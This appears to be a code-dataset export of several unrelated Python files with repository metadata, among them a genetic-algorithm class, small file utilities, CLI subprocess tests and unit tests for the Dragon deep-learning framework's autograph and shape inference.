| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
94c868b560050efff6b6c316de68e039635c4911
| 527
|
py
|
Python
|
DeepHyperion-BNG/core/individual.py
|
IharBakhanovich/DeepHyperion
|
f7f696ba95124125dfe967ea4890d944a9958d77
|
[
"MIT"
] | null | null | null |
DeepHyperion-BNG/core/individual.py
|
IharBakhanovich/DeepHyperion
|
f7f696ba95124125dfe967ea4890d944a9958d77
|
[
"MIT"
] | null | null | null |
DeepHyperion-BNG/core/individual.py
|
IharBakhanovich/DeepHyperion
|
f7f696ba95124125dfe967ea4890d944a9958d77
|
[
"MIT"
] | null | null | null |
from typing import Tuple
from numpy import mean
from core.member import Member
class Individual:
def __init__(self, m: Member):
self.m: Member = m
self.oob_ff: float = None
self.seed: Member = None
def clone(self) -> 'creator.base':
raise NotImplemented()
def evaluate(self):
raise NotImplemented()
def mutate(self):
raise NotImplemented()
def distance(self, i2: 'Individual'):
i1 = self
dist = i1.m.distance(i2.m)
return dist
| 19.518519
| 41
| 0.609108
| 65
| 527
| 4.861538
| 0.476923
| 0.18038
| 0.208861
| 0.164557
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010782
| 0.296015
| 527
| 27
| 42
| 19.518519
| 0.84097
| 0
| 0
| 0.166667
| 0
| 0
| 0.041667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.277778
| false
| 0
| 0.166667
| 0
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
94c994dc66317d77bdc2f7497c37eef067092d1a
| 153
|
py
|
Python
|
get_model.py
|
dzh19990407/LBDT
|
0eabf5bafc17ba42bae7f31537ae6d9ce209bd63
|
[
"MIT"
] | null | null | null |
get_model.py
|
dzh19990407/LBDT
|
0eabf5bafc17ba42bae7f31537ae6d9ce209bd63
|
[
"MIT"
] | null | null | null |
get_model.py
|
dzh19990407/LBDT
|
0eabf5bafc17ba42bae7f31537ae6d9ce209bd63
|
[
"MIT"
] | null | null | null |
from models import LBDT_4
def get_model_by_name(model_name, *args, **kwargs):
model = eval(model_name).JointModel(*args, **kwargs)
return model
| 25.5
| 56
| 0.732026
| 23
| 153
| 4.608696
| 0.652174
| 0.169811
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007692
| 0.150327
| 153
| 5
| 57
| 30.6
| 0.807692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
94d737eb66d5d8ba0f33de30143da150e1a60d8c
| 170
|
py
|
Python
|
examinator/scratch/20190407_rdir.py
|
brl0/examinator
|
52706108eea65b854f056fd53e17fef5c8dccbe8
|
[
"MIT"
] | null | null | null |
examinator/scratch/20190407_rdir.py
|
brl0/examinator
|
52706108eea65b854f056fd53e17fef5c8dccbe8
|
[
"MIT"
] | 1
|
2021-11-15T17:49:24.000Z
|
2021-11-15T17:49:24.000Z
|
examinator/scratch/20190407_rdir.py
|
brl0/examinator
|
52706108eea65b854f056fd53e17fef5c8dccbe8
|
[
"MIT"
] | null | null | null |
#%%
import os
def rdir(path):
if os.path.isdir(path):
return {path: [rdir(p) if p.is_dir() else p for p in os.scandir(path)]}
return [path]
rdir('.')
| 14.166667
| 79
| 0.576471
| 29
| 170
| 3.344828
| 0.517241
| 0.206186
| 0.28866
| 0.371134
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.241176
| 170
| 11
| 80
| 15.454545
| 0.751938
| 0.011765
| 0
| 0
| 0
| 0
| 0.005988
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.166667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
94e08ee04a11eeb2e80e839e9b801394b90b932b
| 114
|
py
|
Python
|
src/python/defs.py
|
sloorush/ebpf-keylogger
|
5a4f3936e96f40c223755be179e482c332fafc96
|
[
"MIT"
] | null | null | null |
src/python/defs.py
|
sloorush/ebpf-keylogger
|
5a4f3936e96f40c223755be179e482c332fafc96
|
[
"MIT"
] | null | null | null |
src/python/defs.py
|
sloorush/ebpf-keylogger
|
5a4f3936e96f40c223755be179e482c332fafc96
|
[
"MIT"
] | null | null | null |
import os, sys
ticksleep = 0.1
project_path = os.path.realpath(os.path.join(os.path.dirname(__file__), "../.."))
| 22.8
| 81
| 0.692982
| 18
| 114
| 4.111111
| 0.666667
| 0.243243
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019417
| 0.096491
| 114
| 4
| 82
| 28.5
| 0.699029
| 0
| 0
| 0
| 0
| 0
| 0.04386
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
94e271a00db69c3f18a08b454a3bf3606d11830c
| 168
|
py
|
Python
|
music_random.py
|
rnsribeiro/RenomearEmMassa
|
08018254c8facbaab8a5126167b06421256a7129
|
[
"MIT"
] | null | null | null |
music_random.py
|
rnsribeiro/RenomearEmMassa
|
08018254c8facbaab8a5126167b06421256a7129
|
[
"MIT"
] | null | null | null |
music_random.py
|
rnsribeiro/RenomearEmMassa
|
08018254c8facbaab8a5126167b06421256a7129
|
[
"MIT"
] | null | null | null |
import os
from random import randint
for name in os.listdir('pendrive'):
newname='{}.mp3'.format(randint(0,1000000))
os.rename("pendrive/"+name,"pendrive/"+newname)
| 24
| 48
| 0.732143
| 24
| 168
| 5.125
| 0.666667
| 0.243902
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 0.089286
| 168
| 6
| 49
| 28
| 0.745098
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a214c7ec48340fb081e4fdcc97fecaadee107945
| 1,672
|
py
|
Python
|
DailyProgrammer/DP20121103B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | 2
|
2020-12-23T18:59:22.000Z
|
2021-04-14T13:16:09.000Z
|
DailyProgrammer/DP20121103B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
DailyProgrammer/DP20121103B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
"""
[11/3/2012] Challenge #110 [Intermediate] Creepy Crawlies
https://www.reddit.com/r/dailyprogrammer/comments/12k3xt/1132012_challenge_110_intermediate_creepy_crawlies/
**Description:**
The web is full of creepy stories, with Reddit's /r/nosleep at the top of this list. Since you're a huge fan of not
sleeping (we are programmers, after all), you need to amass a collection of creepy stories into a single file for easy
reading access! Your goal is to write a web-crawler that downloads all the text submissions from the top 100 posts on
/r/nosleep and puts it into a simple text-file.
**Formal Inputs & Outputs:**
*Input Description:*
No formal input: the application should simply launch and download the top 100 posts from /r/nosleep into a special
file format.
*Output Description:*
Your application must either save to a file, or print to standard output, the following format: each story should start
with a title line. This line is three equal-signs, the posts's name, and then three more equal-signs. An example is
"=== People are Scary! ===". The following lines are the story itself, written in regular plain text. No need to worry
about formatting, HTML links, bullet points, etc.
**Sample Inputs & Outputs:**
If I were to run the application now, the following would be examples of output:
=== Can I use the bathroom? ===
Since tonight's Halloween, I couldn't... (your program should print the rest of the story, I omit that for example
brevity)
=== She's a keeper. ===
I love this girl with all of my... (your program should print the rest of the story, I omit that for example brevity)
"""
def main():
pass
if __name__ == "__main__":
main()
| 46.444444
| 119
| 0.754187
| 279
| 1,672
| 4.473118
| 0.530466
| 0.019231
| 0.038462
| 0.048077
| 0.165064
| 0.104167
| 0.104167
| 0.104167
| 0.104167
| 0.104167
| 0
| 0.020774
| 0.165072
| 1,672
| 35
| 120
| 47.771429
| 0.873209
| 0.956938
| 0
| 0
| 0
| 0
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
a21a04f90ea13fad7c52e0b2df6f3e7f87fe6303
| 3,744
|
py
|
Python
|
tests/test_cmd.py
|
gLhookniano/autoargparse
|
a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0
|
[
"MIT"
] | null | null | null |
tests/test_cmd.py
|
gLhookniano/autoargparse
|
a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0
|
[
"MIT"
] | null | null | null |
tests/test_cmd.py
|
gLhookniano/autoargparse
|
a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0
|
[
"MIT"
] | null | null | null |
#!coding:utf-8
from sys import path as sys_path
from os import path as os_path
import subprocess
import pytest
sys_path.append(os_path.abspath(os_path.join(os_path.dirname(__file__), "../")))
import autoargparse
@pytest.mark.inner
@pytest.mark.parametrize(
"input,stdin,expected",
[
("python ./cmd_inner_function.py 1 -b 2", "func_args", "[1, '2', False]"),
(
"python ./cmd_inner_function.py 1 -b 2 -c -d 3 4",
"cmd_args",
"{'a': '1', 'b': '2', 'c': True, 'd': [3, 4]}",
),
(
"python ./cmd_inner_function.py 1 -b 2 -c -d 3 4",
"func_args",
"[1, '2', True, 3, 4]",
),
],
)
def test_cmd_inner_function(input, stdin, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
obj.stdin.writelines(stdin)
out, err = obj.communicate()
# [6:-7] hide 'debug>'
assert out.strip()[6:-7] == expected
@pytest.mark.cmd
@pytest.mark.parametrize(
"input,expected",
[
("python ./cmd_no_deco_use.py 1 2 3 4", "4"),
("python ./cmd_no_deco_use.py --sum 1 2 3 4", "10"),
],
)
def test_cmd_no_deco_use(input, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
out, err = obj.communicate()
assert err == ""
assert out.strip() == expected
@pytest.mark.cmd
@pytest.mark.parametrize(
"input,expected",
[
("python ./cmd_deco_args.py 1 -b 2", "1 2 False ()"),
("python ./cmd_deco_args.py 1 -b 2 -c -d 3 4", "1 2 True (3, 4)"),
],
)
def test_cmd_deco_args(input, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
out, err = obj.communicate()
assert err == ""
assert out.strip() == expected
@pytest.mark.cmd
@pytest.mark.parametrize(
"input,expected",
[
("python ./cmd_deco_kwargs.py -s 1 2 3 4 ", "10"),
("python ./cmd_deco_kwargs.py --max -s 1 2 3 4", "4"),
("python ./cmd_deco_kwargs.py --negative -s 1 2 3 4 --max", "-4"),
],
)
def test_cmd_deco_kwargs(input, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
out, err = obj.communicate()
assert err == ""
assert out.strip() == expected
@pytest.mark.cmd
@pytest.mark.parametrize(
"input,expected", [("python ./cmd_deco_mark.py -a 1 -b 2 -c 3 -d 4 ", "1\n4\n3\n2")]
)
def test_cmd_deco_mark_run_order(input, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
out, err = obj.communicate()
assert err == ""
assert out.strip() == expected
@pytest.mark.cmd
@pytest.mark.parametrize(
"input,expected",
[("python ./cmd_deco_in_class.py 1 -b 2 -c -d 3 4", "1 2 True (3, 4)")],
)
def test_cmd_deco_in_class(input, expected):
obj = subprocess.Popen(
input.split(),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
cwd="./tests",
)
out, err = obj.communicate()
assert err == ""
assert out.strip() == expected
| 24.470588
| 88
| 0.565705
| 491
| 3,744
| 4.187373
| 0.154786
| 0.122568
| 0.011673
| 0.075875
| 0.786965
| 0.738813
| 0.728113
| 0.714494
| 0.679961
| 0.679961
| 0
| 0.031398
| 0.268429
| 3,744
| 152
| 89
| 24.631579
| 0.719241
| 0.009081
| 0
| 0.627907
| 0
| 0.007752
| 0.226807
| 0.024542
| 0
| 0
| 0
| 0
| 0.085271
| 1
| 0.046512
| false
| 0
| 0.03876
| 0
| 0.085271
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a21b07330121846c814ab73b811e99b5f7553e13
| 27,948
|
py
|
Python
|
test/dragon/test_autograph.py
|
seetaresearch/Dragon
|
494774d3a545f807d483fd9e6e4563cedec6dda5
|
[
"BSD-2-Clause"
] | 81
|
2018-03-13T13:08:37.000Z
|
2020-06-13T14:36:29.000Z
|
test/dragon/test_autograph.py
|
seetaresearch/Dragon
|
494774d3a545f807d483fd9e6e4563cedec6dda5
|
[
"BSD-2-Clause"
] | 2
|
2019-08-07T09:26:07.000Z
|
2019-08-26T07:33:55.000Z
|
test/dragon/test_autograph.py
|
seetaresearch/Dragon
|
494774d3a545f807d483fd9e6e4563cedec6dda5
|
[
"BSD-2-Clause"
] | 13
|
2018-03-13T13:08:50.000Z
|
2020-05-28T08:20:22.000Z
|
# ------------------------------------------------------------
# Copyright (c) 2017-present, SeetaTech, Co.,Ltd.
#
# Licensed under the BSD 2-Clause License.
# You should have received a copy of the BSD 2-Clause License
# along with the software. If not, See,
#
# <https://opensource.org/licenses/BSD-2-Clause>
#
# ------------------------------------------------------------
"""Test the autograph module."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import functools
import unittest
import dragon
from dragon.core.framework import config
from dragon.core.testing.unittest.common_utils import run_tests
class TestConfig(unittest.TestCase):
"""Test the graph config."""
def test_optimization(self):
dragon.autograph.set_optimization(1)
self.assertEqual(config.config().graph_optimization, 1)
def test_scheduler(self):
for scheduler in ('SIMPLE', 'FUSION', 'KNOWN', 'SIMPLE'):
try:
dragon.autograph.set_scheduler(scheduler)
if scheduler == 'FUSION':
self.assertEqual(config.config().graph_type, 'FusionGraph')
else:
self.assertEqual(config.config().graph_type, '')
except ValueError:
pass
def test_verbosity(self):
dragon.autograph.set_verbosity(1)
self.assertEqual(config.config().graph_verbosity, 1)
dragon.autograph.set_verbosity(0)
class TestFunction(unittest.TestCase):
"""Test the graph function."""
@dragon.function(input_signature=[
dragon.Tensor((1,), dtype='int32'),
dragon.Tensor((1,), dtype='int32'),
dragon.Tensor((1,), dtype='int32'),
])
def func1(self, a, b, c=0, **kwargs):
_ = kwargs
return a + b + c
def test_def_function(self):
@dragon.function(input_signature=[dragon.Tensor(None, symbolic=True)])
def func2(a, b):
return a + b
self.assertEqual(self.func1([1, 2], [3, 4]).numpy().tolist(), [4, 6])
self.assertEqual(self.func1([1, 2], b=[3, 4]).numpy().tolist(), [4, 6])
self.assertEqual(self.func1([1, 2], b=[3, 4], c=1).numpy().tolist(), [5, 7])
self.assertEqual(self.func1([1, 2], b=[3, 4], c=1).numpy().tolist(), [5, 7])
self.assertEqual(self.func1([1, 2], [3, 4], executing_stage='forward').numpy().tolist(), [4, 6])
dragon.function(func=lambda: dragon.optimizers.SGD())()
try:
self.func1(1, 2, 3, 4)
except ValueError:
pass
try:
func2(1, 2)
except ValueError:
pass
def test_update_function(self):
optimizer = dragon.optimizers.SGD(lr=1, momentum=0)
try:
_ = optimizer.op_type
except KeyError:
pass
var = dragon.constant(1, dtype='float32')
grad = dragon.constant(1, dtype='float32')
with dragon.eager_mode():
optimizer.apply_gradients([(grad, var)])
with dragon.graph_mode():
optimizer.apply_gradients([(grad, var)]).run()
self.assertEqual(float(var), -1.)
class TestOpSpec(unittest.TestCase):
"""Test the op spec."""
sym1 = dragon.Tensor(None, None, symbolic=True)
sym2 = dragon.Tensor((1,), symbolic=True)
sym3 = dragon.Tensor((1, None), symbolic=True)
sym4 = dragon.Tensor((1, None, None, None), symbolic=True)
sym5 = dragon.Tensor((1, None, None, None, None), symbolic=True)
def test_accuracy(self):
with dragon.graph_mode():
self.assertEqual(dragon.metrics.accuracy(
[self.sym1, self.sym1]).shape, ())
def test_arg_reduce(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.argmax(
self.sym1, axis=0, keepdims=True).shape, None)
self.assertEqual(dragon.math.argmax(
self.sym1, axis=0, keepdims=False).shape, None)
self.assertEqual(dragon.math.argmax(
self.sym2, axis=0, keepdims=True).shape, (1,))
self.assertEqual(dragon.math.argmax(
self.sym2, axis=0, keepdims=False).shape, ())
def test_binary_ops(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.add(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.math.add(
[self.sym2, self.sym2]).shape, (1,))
self.assertEqual(dragon.math.add(
[self.sym2, self.sym3]).shape, (1, None))
self.assertEqual(dragon.math.add(
[self.sym3, self.sym2]).shape, (1, None))
self.assertEqual(dragon.math.equal(
[self.sym1, self.sym1]).shape, None)
def test_boolean_mask(self):
with dragon.graph_mode():
self.assertEqual(dragon.boolean_mask(
[self.sym1, self.sym1]).shape, (None,))
def test_broadcast(self):
with dragon.graph_mode():
self.assertEqual(dragon.broadcast_to(
self.sym1, shape=(1,)).shape, None)
self.assertEqual(dragon.broadcast_to(
self.sym2, shape=(1, 2)).shape, (1, 2))
self.assertEqual(dragon.broadcast_to(
self.sym3, shape=(2,)).shape, self.sym3.shape[:-1] + (2,))
self.assertEqual(dragon.broadcast_to(
self.sym3, shape=(-1, 2, 2)).shape, (1, 2, 2))
def test_cast(self):
with dragon.graph_mode():
self.assertEqual(dragon.cast(self.sym1, 'float32').shape, None)
def test_concat(self):
with dragon.graph_mode():
self.assertEqual(dragon.concat([self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.concat([self.sym1, self.sym2]).shape, (None,))
self.assertEqual(dragon.concat([self.sym2, self.sym3], axis=0).shape, (2,))
self.assertEqual(dragon.concat([self.sym2, self.sym3], axis=1).shape, None)
def test_conv(self):
w = dragon.Tensor((3, 3, 3, 3))
with dragon.graph_mode():
self.assertEqual(dragon.nn.conv2d(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.nn.conv2d(
[self.sym4, w]).shape, (self.sym4.shape[0], w.shape[0], None, None))
self.assertEqual(dragon.nn.conv2d(
[w, w], kernel_shape=1, out_channels=w.shape[0]).shape, w.shape)
self.assertEqual(dragon.nn.conv2d(
[w, w], kernel_shape=1, padding='SAME').shape, w.shape)
self.assertEqual(dragon.nn.conv2d_transpose(
[self.sym4, w], out_channels=w.shape[1]).shape,
(self.sym4.shape[0], w.shape[1], None, None))
self.assertEqual(dragon.nn.conv2d_transpose(
[w, w], output_padding=(2, 2), kernel_shape=1).shape,
(w.shape[0], w.shape[1], w.shape[2] + 2, w.shape[3] + 2))
self.assertEqual(dragon.nn.conv2d_transpose(
[w, w], output_shape=(4, 4), output_padding=(2, 2), kernel_shape=1).shape,
(w.shape[0], w.shape[1], 6, 6))
def test_depth_to_space(self):
func1 = functools.partial(dragon.nn.depth_to_space, block_size=1)
func2 = functools.partial(dragon.nn.space_to_depth, block_size=1)
with dragon.graph_mode():
for func in (func1, func2):
self.assertEqual(func(self.sym1).shape, None)
self.assertEqual(func(self.sym2).shape, None)
self.assertEqual(func(self.sym4, data_format='NCHW').shape,
(self.sym4.shape[0],) + (None,) * (len(self.sym4.shape) - 1))
self.assertEqual(func(self.sym4, data_format='NCHW').shape,
(self.sym4.shape[0],) + (None,) * (len(self.sym4.shape) - 1))
self.assertEqual(func(dragon.Tensor((1, 2, 3)), data_format='NCHW').shape,
dragon.Tensor((1, 2, 3)).shape)
self.assertEqual(func(dragon.Tensor((1, 2, 3)), data_format='NHWC').shape,
dragon.Tensor((1, 2, 3)).shape)
def test_eltwise_loss(self):
with dragon.graph_mode():
self.assertEqual(dragon.losses.l2_loss(
[self.sym1, self.sym1]).shape, ())
self.assertEqual(dragon.losses.l2_loss(
[self.sym1, self.sym1], reduction='none').shape, None)
def test_expand_dims(self):
with dragon.graph_mode():
self.assertEqual(dragon.expand_dims(
self.sym1, axis=1).shape, None)
self.assertEqual(dragon.expand_dims(
self.sym2, axis=1).shape, (1, 1))
self.assertEqual(dragon.expand_dims(
self.sym2, axis=-1).shape, (1, 1))
self.assertEqual(dragon.expand_dims(
self.sym3, axis=0).shape, (1, 1, None))
self.assertEqual(dragon.expand_dims(
self.sym3, axis=(0, 3)).shape, (1, 1, None, 1))
self.assertEqual(dragon.expand_dims(
self.sym3, axis=(0, 3, 5)).shape, (1, 1, None, 1))
def test_extract_patches(self):
with dragon.graph_mode():
self.assertEqual(dragon.vision.extract_patches(self.sym1).shape, None)
self.assertEqual(dragon.vision.extract_patches(self.sym4).shape,
(self.sym4.shape[0], None, None, None))
def test_init_ops(self):
init_funcs_v1 = [dragon.fill,
dragon.ones,
dragon.random.glorot_normal,
dragon.random.glorot_uniform,
dragon.random.normal,
dragon.random.uniform,
dragon.random.truncated_normal,
dragon.zeros]
for func in init_funcs_v1:
with dragon.graph_mode():
self.assertEqual(func(shape=self.sym1.shape).shape, None)
self.assertEqual(func(shape=self.sym2.shape).shape, self.sym2.shape)
def test_flatten(self):
with dragon.graph_mode():
self.assertEqual(dragon.flatten(
self.sym1, axis=1).shape, None)
self.assertEqual(dragon.flatten(
self.sym4, axis=1, end_axis=3).shape, (1, None))
self.assertEqual(dragon.flatten(
self.sym4, axis=1, end_axis=-1).shape, (1, None))
def test_gather(self):
with dragon.graph_mode():
self.assertEqual(dragon.gather(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.gather(
[self.sym1, self.sym2], axis=-1).shape, None)
self.assertEqual(dragon.gather(
[self.sym3, self.sym2], axis=1).shape, (1, 1))
def test_gather_elements(self):
with dragon.graph_mode():
self.assertEqual(dragon.gather_elements(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.gather_elements(
[self.sym1, self.sym2], axis=0).shape, self.sym2.shape)
self.assertEqual(dragon.gather_elements(
[self.sym1, self.sym3], axis=1).shape, self.sym3.shape)
def test_gemm(self):
w = dragon.Tensor((3, 2), symbolic=True)
with dragon.graph_mode():
self.assertEqual(dragon.math.gemm(
[self.sym1, w]).shape, None)
self.assertEqual(dragon.math.gemm(
[self.sym3, w], transpose_a=True).shape, (None, 2))
self.assertEqual(dragon.math.gemm(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.math.gemm(
[w, self.sym1], transpose_b=True).shape, None)
def test_linspace(self):
with dragon.graph_mode():
self.assertEqual(dragon.linspace(
start=1, stop=5, num=3).shape, (3,))
self.assertEqual(dragon.linspace(
start=(1, 2), stop=(3, 4), num=3, axis=1).shape, (2, 3))
self.assertEqual(dragon.linspace(
start=(1, 2), stop=(3, 4), num=3, axis=0).shape, (3, 2))
def test_matmul(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.matmul(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.math.matmul(
[self.sym1, self.sym2]).shape, None)
self.assertEqual(dragon.math.matmul(
[self.sym1, self.sym3]).shape, None)
self.assertEqual(dragon.math.matmul(
[self.sym2, self.sym3]).shape, (None,))
self.assertEqual(dragon.math.matmul(
[self.sym3, self.sym2]).shape, (1,))
self.assertEqual(dragon.math.matmul(
[self.sym3, self.sym3]).shape, (1, None))
self.assertEqual(dragon.math.matmul(
[self.sym4, self.sym3]).shape, (1, None, None, None))
self.assertEqual(dragon.math.matmul(
[self.sym4, self.sym4]).shape, (1, None, None, None))
def test_moments(self):
with dragon.graph_mode():
self.assertEqual(dragon.nn.moments(self.sym1)[0].shape, ())
self.assertEqual(dragon.nn.moments(self.sym1, axis=0)[0].shape, None)
self.assertEqual(dragon.nn.moments(self.sym1, keepdims=True)[0].shape, (1,))
self.assertEqual(dragon.nn.moments(self.sym2)[0].shape, ())
self.assertEqual(dragon.nn.moments(self.sym2, axis=0)[0].shape, ())
self.assertEqual(dragon.nn.moments(self.sym2, axis=1)[0].shape, (1,))
self.assertEqual(dragon.nn.moments(self.sym2, axis=0, keepdims=True)[0].shape, (1,))
self.assertEqual(dragon.nn.moments(
dragon.Tensor(None, 'float64', symbolic=True))[0].dtype, 'float64')
self.assertEqual(dragon.nn.moments(
dragon.Tensor(None, 'int64', symbolic=True))[0].dtype, 'float64')
def test_multinomial(self):
with dragon.graph_mode():
self.assertEqual(dragon.random.multinomial(self.sym1).shape, None)
self.assertEqual(dragon.random.multinomial(self.sym2, num_samples=2).shape, (2,))
def test_non_zero(self):
with dragon.graph_mode():
self.assertEqual(dragon.nonzero(self.sym1).shape, None)
self.assertEqual(dragon.nonzero(self.sym2).shape, (None, 1))
def test_one_hot(self):
with dragon.graph_mode():
self.assertEqual(dragon.one_hot(self.sym1, depth=2).shape, None)
self.assertEqual(dragon.one_hot(self.sym2, depth=2).shape, (1, 2))
def test_pad(self):
with dragon.graph_mode():
self.assertEqual(dragon.pad(self.sym1, pads=[(1, 1)]).shape, None)
self.assertEqual(dragon.pad(self.sym3, pads=[(1, 1)]).shape, (3, None))
self.assertEqual(dragon.pad(self.sym3, pads=[(1, 1), (1, 1)]).shape, (3, None))
def test_permutation(self):
with dragon.graph_mode():
self.assertEqual(dragon.random.permutation(5).shape, (5,))
def test_pool(self):
func = functools.partial(dragon.nn.pool2d, kernel_shape=3, strides=1, pads=1)
with dragon.graph_mode():
self.assertEqual(func(self.sym1).shape, None)
self.assertEqual(func(self.sym3).shape, (1, None))
self.assertEqual(func(self.sym4).shape, (1, None, None, None))
self.assertEqual(func(self.sym4, global_pool=True).shape, (1, None, 1, 1))
self.assertEqual(func(dragon.Tensor((1, 3, 4, 4))).shape, (1, 3, 4, 4))
self.assertEqual(func(dragon.Tensor((1, 3, 4, 4)), padding='SAME').shape, (1, 3, 4, 4))
def test_predicative(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.is_inf(self.sym1).shape, self.sym1.shape)
self.assertEqual(dragon.math.is_inf(self.sym3).shape, self.sym3.shape)
self.assertEqual(dragon.math.is_nan(self.sym1).shape, self.sym1.shape)
self.assertEqual(dragon.math.is_nan(self.sym3).shape, self.sym3.shape)
def test_range(self):
with dragon.graph_mode():
self.assertEqual(dragon.range(3).shape, (3,))
self.assertEqual(dragon.range(3, 4).shape, (1,))
self.assertEqual(dragon.range(3, delta=0).shape, None)
def test_reduce(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.sum(self.sym1).shape, ())
self.assertEqual(dragon.math.sum(self.sym1, axis=0).shape, None)
self.assertEqual(dragon.math.sum(self.sym1, keepdims=True).shape, ())
self.assertEqual(dragon.math.sum(self.sym2, axis=0).shape, ())
self.assertEqual(dragon.math.sum(self.sym2, axis=1).shape, None)
self.assertEqual(dragon.math.sum(self.sym2, axis=0, keepdims=True).shape, (1,))
def test_repeat(self):
with dragon.graph_mode():
self.assertEqual(dragon.repeat(self.sym1, axis=None, repeats=2).shape, (None,))
self.assertEqual(dragon.repeat(self.sym1, axis=0, repeats=2).shape, None)
self.assertEqual(dragon.repeat(self.sym2, axis=None, repeats=2).shape, (2,))
self.assertEqual(dragon.repeat(self.sym3, axis=0, repeats=2).shape, (2, None))
